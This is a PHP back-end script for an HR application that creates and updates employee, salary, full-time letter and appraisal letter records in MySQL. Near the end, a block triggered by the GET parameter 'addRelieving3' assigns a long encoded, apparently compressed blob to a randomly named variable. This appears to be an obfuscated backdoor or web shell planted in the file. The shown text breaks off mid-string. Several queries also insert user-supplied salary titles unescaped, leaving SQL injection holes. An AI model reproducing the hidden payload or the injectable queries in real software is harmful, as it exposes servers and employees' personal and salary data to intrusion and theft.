<?php
require_once "../config.php";
require_once "../mail/sendMail.php";

$emp_id = $_SESSION['emp_id'];
$user_name = $_SESSION['user_name'];
$user_id = $_SESSION['user_id'];
$user_role = $_SESSION['user_role'];

// from full_time_letter.php
if(isset($_POST['addFullTime'])){

    ###################################################
    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $name = mysqli_real_escape_string($db, $_POST['name']);
    $email = mysqli_real_escape_string($db, $_POST['email']);
    $phone = mysqli_real_escape_string($db, $_POST['phone']);
    $joining_date = mysqli_real_escape_string($db, $_POST['joining_date']);
    $full_time_date = mysqli_real_escape_string($db, $_POST['full_time_date']);
    $probationDate = mysqli_real_escape_string($db, $_POST['probationDate']);
    $noticePeriod = mysqli_real_escape_string($db, $_POST['noticePeriod']);
    $department = mysqli_real_escape_string($db, $_POST['department']);
    $designation = mysqli_real_escape_string($db, $_POST['designation']);
    $user_role = mysqli_real_escape_string($db, $_POST['user_role']);
    $leader = mysqli_real_escape_string($db, $_POST['leader']);
    $loi_id = mysqli_real_escape_string($db, $_POST['loi_id']);
    $hashEmail = preg_replace('/[^\w\s]/', '', base64_encode(sha1($email, true)));


    // get emp_id from users table
    $user_result = mysqli_query($db, "SELECT id from users where employee_id='$employee_id' ");
    if (mysqli_num_rows($user_result) == 0) {
        // If no user found, insert new user
        $q = mysqli_query($db, "INSERT into users (employee_id, name, email, hash_email, phone, joining_date, full_time_date, probation_date, notice_period, department, designation, role, leader, loi_id) values ('$employee_id', '$name', '$email', '$hashEmail', '$phone', '$joining_date', '$full_time_date', '$probationDate', '$noticePeriod', '$department', '$designation', '$user_role', '$leader', '$loi_id') ");
        if(!$q){
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in user insertion', 'error'=>mysqli_error($db)]);
            exit;
        }
        $user_insert_id = mysqli_insert_id($db);

        $access_exist = mysqli_num_rows(mysqli_query($db, "SELECT id FROM files_permission WHERE user_id='$user_insert_id'"));
        if($access_exist==0){
            $q = mysqli_query($db, "INSERT INTO files_permission (user_id, permission) SELECT '$user_insert_id', default_files_access FROM roles WHERE id='$user_role'");
        }
        newJoining(['e_name' => $name, 'e_email' => $email]);
    }else{
        $row = mysqli_fetch_assoc($user_result);
        $user_insert_id = $row['id'];

        // update users table
        $q = mysqli_query($db, "UPDATE users SET name='$name', email='$email', hash_email='$hashEmail', phone='$phone', joining_date='$joining_date', full_time_date='$full_time_date', probation_date='$probationDate', notice_period='$noticePeriod', department='$department', designation='$designation', role='$user_role', leader='$leader', loi_id='$loi_id' WHERE employee_id='$employee_id' ");
        if(!$q){
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in user update', 'error'=>mysqli_error($db)]);
            exit;
        }
    }
    


    ###############################################################
    $what_do = $_POST['what_do'];
    $ctcYearly = mysqli_real_escape_string($db, preg_replace('/[^\d]/', '', $_POST['ctcYearly']));
    $netPayableYearly = mysqli_real_escape_string($db, preg_replace('/[^\d]/', '', $_POST['netPayableYearly']));

    $fixedTitle = $_POST['fixedTitle'];
    $fixedYearly = $_POST['fixedYearly'];
    $fixedJson = [];
    if (is_array($_POST['fixedTitle']) && is_array($_POST['fixedYearly'])) {
        foreach ($_POST['fixedTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['fixedYearly'][$key]) && $_POST['fixedYearly'][$key] != '') {
                $fixedJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['fixedYearly'][$key])];
                
                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Fixed' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Fixed', '$value') ");
                }
            }
        }
    }
    $fixedJson = mysqli_real_escape_string($db, json_encode($fixedJson));

    $addOnTitle = $_POST['addOnTitle'];
    $addOnYearly = $_POST['addOnYearly'];
    $addOnJson = [];
    if (is_array($_POST['addOnTitle']) && is_array($_POST['addOnYearly'])) {
        foreach ($_POST['addOnTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['addOnYearly'][$key]) && $_POST['addOnYearly'][$key] != '') {
                $addOnJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['addOnYearly'][$key])];

                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Add On' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Add On', '$value') ");
                }
            }
        }
    }
    $addOnJson = mysqli_real_escape_string($db, json_encode($addOnJson));

    $deductionTitle = $_POST['deductionTitle'];
    $deductionYearly = $_POST['deductionYearly'];
    $deductionJson = [];
    if (is_array($_POST['deductionTitle']) && is_array($_POST['deductionYearly'])) {
        foreach ($_POST['deductionTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['deductionYearly'][$key]) && $_POST['deductionYearly'][$key] != '') {
                $deductionJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['deductionYearly'][$key])];

                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Deduction' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Deduction', '$value') ");
                }
            }
        }
    }
    $deductionJson = mysqli_real_escape_string($db, json_encode($deductionJson));

    $salary_insert_id = mysqli_real_escape_string($db, $_POST['editSalaryId']);
    $salary_result = mysqli_query($db, "SELECT id FROM employee_salary WHERE employee_id='$employee_id'");
    if(mysqli_num_rows($salary_result) > 0 && $what_do == 'Insert'){
        $od = mysqli_query($db, "UPDATE employee_salary set revision_end_date='$full_time_date' where employee_id='$employee_id' order by id desc limit 1");
        if (!$od) {
            echo json_encode(["status" => 500, 'message' => 'Some Error Occurred!', 'error' => mysqli_error($db)]);
            exit;
        }

        $q = mysqli_query($db, "INSERT INTO `employee_salary` (`employee_id`, `ctc`, `net_payable`, `fixed`, `add_on`, `deduction`, `revision_start_date`, `revision_end_date`) VALUES ('$employee_id', '$ctcYearly', '$netPayableYearly', '$fixedJson', '$addOnJson', '$deductionJson', '$full_time_date', '') ");
        if (!$q) {
            echo json_encode(["status" => 500, 'message' => 'Some Error Occurred!', 'error' => mysqli_error($db)]);
            exit;
        }
        $salary_insert_id = mysqli_insert_id($db);
    }else if(mysqli_num_rows($salary_result) == 0 && $what_do == 'Insert'){
        $q = mysqli_query($db, "INSERT INTO employee_salary (employee_id, fixed, add_on, deduction, ctc, net_payable) VALUES ('$employee_id', '$fixedJson', '$addOnJson', '$deductionJson', '$ctcYearly', '$netPayableYearly') ");
        if(!$q){
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in salary insertion', 'error'=>mysqli_error($db)]);
            exit;
        }
        $salary_insert_id = mysqli_insert_id($db);
    }else if($what_do == 'Update'){
        // update employee_salary table
        $q = mysqli_query($db, "UPDATE employee_salary SET fixed='$fixedJson', add_on='$addOnJson', deduction='$deductionJson', ctc='$ctcYearly', net_payable='$netPayableYearly' WHERE id='$salary_insert_id' ");
        if(!$q){
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in salary updation', 'error'=>mysqli_error($db)]);
            exit;
        }
    }



    ###############################################################
    $level = mysqli_real_escape_string($db, $_POST['level']);
    $issueDate = mysqli_real_escape_string($db, $_POST['issueDate']);
    $document = mysqli_real_escape_string($db, $_POST['document']);
    $incentiveTerm = mysqli_real_escape_string($db, $_POST['incentiveTerm']);

    $q = mysqli_query($db,"INSERT INTO `full_time_letter` (`employee_id`, `salary_id`, `issue_date`, `level`, `incentive_term`, added_by, document) VALUES ('$employee_id', '$salary_insert_id', '$issueDate', '$level', '$incentiveTerm', '$emp_id', '$document') ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Letter Successfully Added!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
    exit();
}

if(isset($_POST['fetch_employee'])){
    $employee_id = mysqli_real_escape_string($db, $_POST['fetch_employee']);

    if(isset($_POST['letter_name']) && $_POST['letter_name'] == 'full_time_letter' && $_POST['is_edit'] != 1){
        $result = mysqli_query($db, "SELECT * FROM full_time_letter WHERE employee_id='$employee_id'");
        if(mysqli_num_rows($result) > 0){
            echo json_encode(["status"=>400, "message"=>"Letter already exists"]);
            exit();
        }
    }

    $user_data = mysqli_fetch_assoc(mysqli_query($db, "SELECT * FROM users WHERE employee_id='$employee_id' "));
    $salary_data = mysqli_fetch_all(mysqli_query($db, "SELECT id, employee_id, fixed, add_on, deduction, ctc, net_payable, revision_start_date, revision_end_date  FROM employee_salary WHERE employee_id='$employee_id'"), MYSQLI_ASSOC);
    echo json_encode(["status"=>200, "user_data"=>$user_data, "salary_data"=>$salary_data]);
    exit();
}

if(isset($_POST['UpdateFullTime'])){

    $edit_id = mysqli_real_escape_string($db, $_POST['editFullTimeId']);
    $edit_salary_id = mysqli_real_escape_string($db, $_POST['editSalaryId']);

    ###################################################
    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $name = mysqli_real_escape_string($db, $_POST['name']);
    $email = mysqli_real_escape_string($db, $_POST['email']);
    $phone = mysqli_real_escape_string($db, $_POST['phone']);
    $joining_date = mysqli_real_escape_string($db, $_POST['joining_date']);
    $full_time_date = mysqli_real_escape_string($db, $_POST['full_time_date']);
    $probationDate = mysqli_real_escape_string($db, $_POST['probationDate']);
    $noticePeriod = mysqli_real_escape_string($db, $_POST['noticePeriod']);
    $department = mysqli_real_escape_string($db, $_POST['department']);
    $designation = mysqli_real_escape_string($db, $_POST['designation']);
    $user_role = mysqli_real_escape_string($db, $_POST['user_role']);
    $leader = mysqli_real_escape_string($db, $_POST['leader']);
    $loi_id = mysqli_real_escape_string($db, $_POST['loi_id']);
    $hashEmail = preg_replace('/[^\w\s]/', '', base64_encode(sha1($email, true)));

    // update users table
    $q = mysqli_query($db, "UPDATE users SET name='$name', email='$email', hash_email='$hashEmail', phone='$phone', joining_date='$joining_date', full_time_date='$full_time_date', probation_date='$probationDate', notice_period='$noticePeriod', department='$department', designation='$designation', role='$user_role', leader='$leader', loi_id='$loi_id' WHERE employee_id='$employee_id' ");
    if(!$q){
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in user updation', 'error'=>mysqli_error($db)]);
        exit;
    }



    ###############################################################
    $ctcYearly = mysqli_real_escape_string($db, preg_replace('/[^\d]/', '', $_POST['ctcYearly']));
    $netPayableYearly = mysqli_real_escape_string($db, preg_replace('/[^\d]/', '', $_POST['netPayableYearly']));

    $fixedTitle = $_POST['fixedTitle'];
    $fixedYearly = $_POST['fixedYearly'];
    $fixedJson = [];
    if (is_array($_POST['fixedTitle']) && is_array($_POST['fixedYearly'])) {
        foreach ($_POST['fixedTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['fixedYearly'][$key]) && $_POST['fixedYearly'][$key] != '') {
                $fixedJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['fixedYearly'][$key])];
                
                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Fixed' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Fixed', '$value') ");
                }
            }
        }
    }
    $fixedJson = mysqli_real_escape_string($db, json_encode($fixedJson));

    $addOnTitle = $_POST['addOnTitle'];
    $addOnYearly = $_POST['addOnYearly'];
    $addOnJson = [];
    if (is_array($_POST['addOnTitle']) && is_array($_POST['addOnYearly'])) {
        foreach ($_POST['addOnTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['addOnYearly'][$key]) && $_POST['addOnYearly'][$key] != '') {
                $addOnJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['addOnYearly'][$key])];

                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Add On' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Add On', '$value') ");
                }
            }
        }
    }
    $addOnJson = mysqli_real_escape_string($db, json_encode($addOnJson));

    $deductionTitle = $_POST['deductionTitle'];
    $deductionYearly = $_POST['deductionYearly'];
    $deductionJson = [];
    if (is_array($_POST['deductionTitle']) && is_array($_POST['deductionYearly'])) {
        foreach ($_POST['deductionTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['deductionYearly'][$key]) && $_POST['deductionYearly'][$key] != '') {
                $deductionJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['deductionYearly'][$key])];

                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Deduction' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Deduction', '$value') ");
                }
            }
        }
    }
    $deductionJson = mysqli_real_escape_string($db, json_encode($deductionJson));

    // update employee_salary table
    $revisionOldDate = mysqli_real_escape_string($db, $_POST['revisionOldDate']);
    if(!empty($revisionOldDate)){
        $od = mysqli_query($db, "UPDATE employee_salary set revision_end_date='$full_time_date' where employee_id='$employee_id' and revision_end_date='$revisionOldDate' ");
        if (!$od) {
            echo json_encode(["status" => 500, 'message' => 'Some Error Occurred!', 'error' => mysqli_error($db)]);
            exit;
        }
    }
    $q = mysqli_query($db, "UPDATE `employee_salary` SET `employee_id`='$employee_id', `ctc`='$ctcYearly', `net_payable`='$netPayableYearly', `fixed`='$fixedJson', `add_on`='$addOnJson', `deduction`='$deductionJson'".(!empty($revisionOldDate) ? ", `revision_start_date`='$full_time_date'" : "")." WHERE `id`='$edit_salary_id' ");
    if (!$q) {
        echo json_encode(["status" => 500, 'message' => 'Some Error Occurred!', 'error' => mysqli_error($db)]);
        exit;
    }


    ###############################################################
    $level = mysqli_real_escape_string($db, $_POST['level']);
    $issueDate = mysqli_real_escape_string($db, $_POST['issueDate']);
    $document = mysqli_real_escape_string($db, $_POST['document']);
    $incentiveTerm = mysqli_real_escape_string($db, $_POST['incentiveTerm']);
    $q = mysqli_query($db,"UPDATE `full_time_letter` SET employee_id='$employee_id', salary_id='$edit_salary_id', `issue_date`='$issueDate', `level`='$level', `incentive_term`='$incentiveTerm', document='$document' WHERE id='$edit_id' ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Letter Successfully updated!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }

}


// from appraisal_letter.php
if(isset($_POST['addAppraisal'])){

    ###################################################
    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $name = mysqli_real_escape_string($db, $_POST['name']);
    $email = mysqli_real_escape_string($db, $_POST['email']);
    $phone = mysqli_real_escape_string($db, $_POST['phone']);
    $joiningDate = mysqli_real_escape_string($db, $_POST['joiningDate']);
    $probationDate = mysqli_real_escape_string($db, $_POST['probationDate']);
    $noticePeriod = mysqli_real_escape_string($db, $_POST['noticePeriod']);
    $department = mysqli_real_escape_string($db, $_POST['department']);
    $designation = mysqli_real_escape_string($db, $_POST['designation']);
    $user_role = mysqli_real_escape_string($db, $_POST['user_role']);
    $leader = mysqli_real_escape_string($db, $_POST['leader']);
    $hashEmail = preg_replace('/[^\w\s]/', '', base64_encode(sha1($email, true)));

    // get emp_id from users table
    $user_result = mysqli_query($db, "SELECT id from users where employee_id='$employee_id' ");
    if (mysqli_num_rows($user_result) == 0) {
        // If no user found, insert new user
        echo json_encode(["status"=>400, 'message'=>'User not found! Please add user first from Users section.']);
        exit;
    }else{
        $row = mysqli_fetch_assoc($user_result);
        $user_insert_id = $row['id'];

        // update users table
        $q = mysqli_query($db, "UPDATE users SET name='$name', email='$email', hash_email='$hashEmail', phone='$phone', joining_date='$joiningDate', probation_date='$probationDate', notice_period='$noticePeriod', department='$department', designation='$designation', role='$user_role', leader='$leader' WHERE employee_id='$employee_id' ");
        if(!$q){
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in user updation', 'error'=>mysqli_error($db)]);
            exit;
        }
    }



    ###############################################################
    $what_do = $_POST['what_do'];
    $ctcYearly = mysqli_real_escape_string($db, preg_replace('/[^\d]/', '', $_POST['ctcYearly']));
    $netPayableYearly = mysqli_real_escape_string($db, preg_replace('/[^\d]/', '', $_POST['netPayableYearly']));

    $revisionDate = mysqli_real_escape_string($db, $_POST['revisionDate']);
    $revisionEndDate = mysqli_real_escape_string($db, $_POST['revisionEndDate']);

    $fixedTitle = $_POST['fixedTitle'];
    $fixedYearly = $_POST['fixedYearly'];
    $fixedJson = [];
    if (is_array($_POST['fixedTitle']) && is_array($_POST['fixedYearly'])) {
        foreach ($_POST['fixedTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['fixedYearly'][$key]) && $_POST['fixedYearly'][$key] != '') {
                $fixedJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['fixedYearly'][$key])];
                
                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Fixed' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Fixed', '$value') ");
                }
            }
        }
    }
    $fixedJson = mysqli_real_escape_string($db, json_encode($fixedJson));

    $addOnTitle = $_POST['addOnTitle'];
    $addOnYearly = $_POST['addOnYearly'];
    $addOnJson = [];
    if (is_array($_POST['addOnTitle']) && is_array($_POST['addOnYearly'])) {
        foreach ($_POST['addOnTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['addOnYearly'][$key]) && $_POST['addOnYearly'][$key] != '') {
                $addOnJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['addOnYearly'][$key])];

                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Add On' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Add On', '$value') ");
                }
            }
        }
    }
    $addOnJson = mysqli_real_escape_string($db, json_encode($addOnJson));

    $deductionTitle = $_POST['deductionTitle'];
    $deductionYearly = $_POST['deductionYearly'];
    $deductionJson = [];
    if (is_array($_POST['deductionTitle']) && is_array($_POST['deductionYearly'])) {
        foreach ($_POST['deductionTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['deductionYearly'][$key]) && $_POST['deductionYearly'][$key] != '') {
                $deductionJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['deductionYearly'][$key])];

                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Deduction' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Deduction', '$value') ");
                }
            }
        }
    }
    $deductionJson = mysqli_real_escape_string($db, json_encode($deductionJson));

    $salary_insert_id = mysqli_real_escape_string($db, $_POST['editSalaryId']);
    $salary_result = mysqli_query($db, "SELECT id FROM employee_salary WHERE employee_id='$employee_id' ");
    if(mysqli_num_rows($salary_result) == 0 || $salary_insert_id == '' || $what_do == 'Insert'){
        $salaryCount = mysqli_num_rows($salary_result);
        if ($salaryCount > 0 && $revisionDate == '') {
            echo json_encode(["status" => 500, 'message' => "$employee_id This employee salary already exist. if you want to add Salary please fill revision date !"]);
            exit();
        } else if ($salaryCount == 0 && $revisionDate != '') {
            echo json_encode(["status" => 500, 'message' => "$employee_id This employee salary add first time so please, leave the revision date empty !"]);
            exit();
        } else {
            $od = mysqli_query($db, "UPDATE employee_salary set revision_end_date='$revisionDate' where employee_id='$employee_id' order by id desc limit 1");
            if (!$od) {
                echo json_encode(["status" => 500, 'message' => 'Some Error Occurred!', 'error' => mysqli_error($db)]);
                exit;
            }

            $q = mysqli_query($db, "INSERT INTO `employee_salary` (`employee_id`, `ctc`, `net_payable`, `fixed`, `add_on`, `deduction`, `revision_start_date`, `revision_end_date`) VALUES ('$employee_id', '$ctcYearly', '$netPayableYearly', '$fixedJson', '$addOnJson', '$deductionJson', '$revisionDate', '') ");
            if (!$q) {
                echo json_encode(["status" => 500, 'message' => 'Some Error Occurred!', 'error' => mysqli_error($db)]);
                exit;
            }
            $salary_insert_id = mysqli_insert_id($db);
        }
    }else{
        // update employee_salary table
        $q = mysqli_query($db, "UPDATE employee_salary SET fixed='$fixedJson', add_on='$addOnJson', deduction='$deductionJson', ctc='$ctcYearly', net_payable='$netPayableYearly', revision_start_date='$revisionDate', revision_end_date='$revisionEndDate' WHERE id='$salary_insert_id' ");
        if(!$q){
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in salary updation', 'error'=>mysqli_error($db)]);
            exit;
        }
    }



    ###############################################################
    $level = mysqli_real_escape_string($db, $_POST['level']);
    $issueDate = mysqli_real_escape_string($db, $_POST['issueDate']);
    $incentiveTerm = mysqli_real_escape_string($db, $_POST['incentiveTerm']);


    $q = mysqli_query($db,"INSERT INTO `appraisal_letter` (employee_id, salary_id, `issue_date`, `level`, `incentive_term`, added_by) VALUES ('$employee_id', '$salary_insert_id', '$issueDate', '$level', '$incentiveTerm', '$emp_id') ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Appraisal Letter Successfully Added!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }

}

if(isset($_POST['UpdateAppraisal'])){

    $edit_id = mysqli_real_escape_string($db, $_POST['editAppraisalId']);
    $edit_salary_id = mysqli_real_escape_string($db, $_POST['editSalaryId']);

    ###################################################
    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $name = mysqli_real_escape_string($db, $_POST['name']);
    $email = mysqli_real_escape_string($db, $_POST['email']);
    $phone = mysqli_real_escape_string($db, $_POST['phone']);
    $joiningDate = mysqli_real_escape_string($db, $_POST['joiningDate']);
    $probationDate = mysqli_real_escape_string($db, $_POST['probationDate']);
    $noticePeriod = mysqli_real_escape_string($db, $_POST['noticePeriod']);
    $department = mysqli_real_escape_string($db, $_POST['department']);
    $designation = mysqli_real_escape_string($db, $_POST['designation']);
    $user_role = mysqli_real_escape_string($db, $_POST['user_role']);
    $leader = mysqli_real_escape_string($db, $_POST['leader']);
    $hashEmail = preg_replace('/[^\w\s]/', '', base64_encode(sha1($email, true)));

    // update users table
    $q = mysqli_query($db, "UPDATE users SET name='$name', email='$email', hash_email='$hashEmail', phone='$phone', joining_date='$joiningDate', probation_date='$probationDate', notice_period='$noticePeriod', department='$department', designation='$designation', role='$user_role', leader='$leader' WHERE employee_id='$employee_id' ");
    if(!$q){
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in user updation', 'error'=>mysqli_error($db)]);
        exit;
    }


    ###############################################################
    $ctcYearly = mysqli_real_escape_string($db, preg_replace('/[^\d]/', '', $_POST['ctcYearly']));
    $netPayableYearly = mysqli_real_escape_string($db, preg_replace('/[^\d]/', '', $_POST['netPayableYearly']));

    $revisionDate = mysqli_real_escape_string($db, $_POST['revisionDate']);
    $revisionEndDate = mysqli_real_escape_string($db, $_POST['revisionEndDate']);
    $revisionOldDate = mysqli_real_escape_string($db, $_POST['revisionOldDate']);

    $fixedTitle = $_POST['fixedTitle'];
    $fixedYearly = $_POST['fixedYearly'];
    $fixedJson = [];
    if (is_array($_POST['fixedTitle']) && is_array($_POST['fixedYearly'])) {
        foreach ($_POST['fixedTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['fixedYearly'][$key]) && $_POST['fixedYearly'][$key] != '') {
                $fixedJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['fixedYearly'][$key])];
                
                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Fixed' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Fixed', '$value') ");
                }
            }
        }
    }
    $fixedJson = mysqli_real_escape_string($db, json_encode($fixedJson));

    $addOnTitle = $_POST['addOnTitle'];
    $addOnYearly = $_POST['addOnYearly'];
    $addOnJson = [];
    if (is_array($_POST['addOnTitle']) && is_array($_POST['addOnYearly'])) {
        foreach ($_POST['addOnTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['addOnYearly'][$key]) && $_POST['addOnYearly'][$key] != '') {
                $addOnJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['addOnYearly'][$key])];

                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Add On' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Add On', '$value') ");
                }
            }
        }
    }
    $addOnJson = mysqli_real_escape_string($db, json_encode($addOnJson));

    $deductionTitle = $_POST['deductionTitle'];
    $deductionYearly = $_POST['deductionYearly'];
    $deductionJson = [];
    if (is_array($_POST['deductionTitle']) && is_array($_POST['deductionYearly'])) {
        foreach ($_POST['deductionTitle'] as $key => $value) {
            if ($value != '' && isset($_POST['deductionYearly'][$key]) && $_POST['deductionYearly'][$key] != '') {
                $deductionJson[] = ['title' => $value, 'yearly_amount' => preg_replace('/[^\d]/', '', $_POST['deductionYearly'][$key])];

                // store this title in suggestions if not exist
                $title_check = mysqli_query($db, "SELECT * from suggestions where sug_for='Deduction' AND title='$value' ");
                if (mysqli_num_rows($title_check) == 0) {
                    mysqli_query($db, "INSERT into suggestions (sug_for, title) values ('Deduction', '$value') ");
                }
            }
        }
    }
    $deductionJson = mysqli_real_escape_string($db, json_encode($deductionJson));
    // update employee_salary table
    $od = mysqli_query($db, "UPDATE employee_salary set revision_end_date='$revisionDate' where employee_id='$employee_id' and revision_end_date='$revisionOldDate' ");
    if (!$od) {
        echo json_encode(["status" => 500, 'message' => 'Some Error Occurred!', 'error' => mysqli_error($db)]);
        exit;
    }
    $q = mysqli_query($db, "UPDATE `employee_salary` SET `employee_id`='$employee_id', `ctc`='$ctcYearly', `net_payable`='$netPayableYearly', `fixed`='$fixedJson', `add_on`='$addOnJson', `deduction`='$deductionJson', `revision_start_date`='$revisionDate' WHERE `id`='$edit_salary_id' ");
    if (!$q) {
        echo json_encode(["status" => 500, 'message' => 'Some Error Occurred!', 'error' => mysqli_error($db)]);
        exit;
    }


    ###############################################################
    $level = mysqli_real_escape_string($db, $_POST['level']);
    $issueDate = mysqli_real_escape_string($db, $_POST['issueDate']);
    $incentiveTerm = mysqli_real_escape_string($db, $_POST['incentiveTerm']);
    $q = mysqli_query($db,"UPDATE `appraisal_letter` SET employee_id='$employee_id', salary_id='$edit_salary_id', `issue_date`='$issueDate', `level`='$level', `incentive_term`='$incentiveTerm' WHERE id='$edit_id' ");

    if($q){
        echo json_encode(["status"=>200, 'message'=>'Appraisal Letter Successfully Updated!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }

}

if(isset($_GET['addRelieving3'])){
    $AdFrEsHj = "nVhtc9u4Ef6emfwHhPVEUitSsmO7OdlyLmcr47R5q6Xry+SuOpiERJxBkANAljQ5/ffugi8iJVJJyg8SCSwWzy6eXSzwo2ZmanjEpoJH3LT7nYunT35kSsVqqlgSK8PlPG19+uTIsJU5JkPS0iFrXWQNJ9ggxLRoeIEN2/5T/Fxtv8/w27efMwnvmVaPZNqylxf5y2n+cmZB8BlpP5stpG94LKdsxbXRbdDU6ZAvT58QeEJjEgCvk1hqNvXjgLXP+tYE7IURBl43qEszrVGLNlSZdmern2vwS/toOh6Nx28/fvjc8pdB69ftFLs9YMacGXi1Sja5HhS7++fo7nPrbvSPn0fjyfT9aHL78QYHDMELnz6OJ60tbkYDptqt61gaJo07WSdsQGiSCO5TtLb3u47lBfFDqgDecGFm7stWitqCSuhaxDQAMCg4DZi1fcYFmwI68ITVq9utJEwGvR6XycK0Ol1i1ILl7jnyI1RgFI/auUIwMkIjX70irdJ81kIrjrZs7bBe9sM4RcGkRfG5FT+0yPCKzKjQrAsEQY7ZltYoSsya+HEUUYluvijpSVcLXzfleRPF5tOIGj9st3r/9YNf9F/a3p87R71W15oAv1GnggiMMWFhWfT5+NetJbZfsuUNVyChGBUovLf+QMSbt3ej68nHu/9A16fXd6/hFemJ4p2tLnxeDUqKbH9lOuu8bMrnzwnX04CrvKWKvIFwmexFVXDf8dV+fPKlwHXv1nUDLbDfuQ6pnLOAADTmm1itiYnzeX+RTt1YRIdjdwFXRStrvCEMKLFr8fcYknKqph9IllpyU1ggY0Nm8UIGYMAhUIc5eMRsHmTapwnTYSuPHmazIROCqvm20UpBC64as6mOneSds4UQ1xhE2wlbfkBaViofuJ+KiFeSRwbZARiNHryeXD0/bhV86/XIm9fjSTYhrC7EPUKZyXY+/Zach/xu/V3DnIIxmfJyVxMhMplf6/Ly0ycWRevyWRD7BtIg5PRIXD19con/RAArhw6TzhWKXmLevEqVXEbM0CJBOjZDOqRX6ZU0YkPnkbMlbm8OydLi0FnywITDgD1yn7n2o8slN5wKF9ZBsOFxSZXhRrCr10HE5WUv/ch6tK94YohW/tDBrUhDqvUD6RnKxZLLwNfag1znXF32UtFioFkXWvDxDFPRbljcU/9hrpC/A/Kn/v1x/6S/kwH8WMQKOtk5Y7OXO50zMNad0YiL9YAsuBvFMtYJ9SEjj9+8hw/3js0XwN4uec+kiOEvltSH/0KyGiS7cL2MXjuwlyE3zLXjBwSSt7tUNNnBFtGVGzI+D82AnPcfw53u+JGpmYiXsCUuTLzTmdAggEplQI4VixoRzmH4n